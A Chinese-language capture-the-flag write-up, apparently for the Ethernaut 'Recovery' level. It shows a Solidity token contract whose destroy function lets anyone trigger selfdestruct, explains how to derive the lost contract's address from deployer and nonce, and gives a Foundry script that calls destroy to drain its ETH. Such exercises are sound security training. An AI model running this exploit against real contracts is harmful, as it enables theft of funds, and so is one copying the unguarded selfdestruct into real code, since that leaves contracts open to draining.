合约代码：`Recovery.sol`

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Recovery {
    //generate tokens
    function generateToken(string memory _name, uint256 _initialSupply)
public {
        new SimpleToken(_name, msg.sender, _initialSupply);
    }
}

contract SimpleToken {
    string public name;
    mapping(address => uint256) public balances;

    // constructor
    constructor(string memory _name, address _creator, uint256
_initialSupply) {
        name = _name;
        balances[_creator] = _initialSupply;
    }

    // collect ether in return for tokens
    receive() external payable {
        balances[msg.sender] = msg.value * 10;
    }

    // allow transfers of tokens
    function transfer(address _to, uint256 _amount) public {
        require(balances[msg.sender] >= _amount);
        balances[msg.sender] = balances[msg.sender] - _amount;
        balances[_to] = _amount;
    }

    // clean up after ourselves
    function destroy(address payable _to) public {
        selfdestruct(_to);
    } //关键利用自毁转账
}
```

目标是找到合约地址并从中恢复0.01的ETH

思路：

1. 找到合约地址的办法有两种，一是在`Etherscan`中查找调用`generateToken`函数的交易，二是通过公式计算
2. ```
   address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xd6),
   bytes1(0x94), deployer, bytes1(nonce))))));
   ```

   0xd6和0x94都是公式里面固定的，nonce是可变的，根据情况来填写，这道题是0x01，就是1
   ```

3. 通过这个公式计算出来合约地址，然后调用`destroy`函数自毁

脚本：`Recover_hack.s.sol`

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {Script} from "forge-std/Script.sol";
import {SimpleToken} from "../src/Recovery.sol";

contract POC is Script {
    function run() external {
        vm.startBroadcast();

        address target =
address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xd6),
bytes1(0x94), address(0xdADA947a3ffb05d6aB60C11c9d69C775c6963D09),
bytes1(0x01))))));
        SimpleToken simpletoken = SimpleToken(payable(target));

 simpletoken.destroy(payable(0xE0e2bD8E4016118eA58B0BBFe2FD187c04A947eE));

        vm.stopBroadcast();
    }
}
```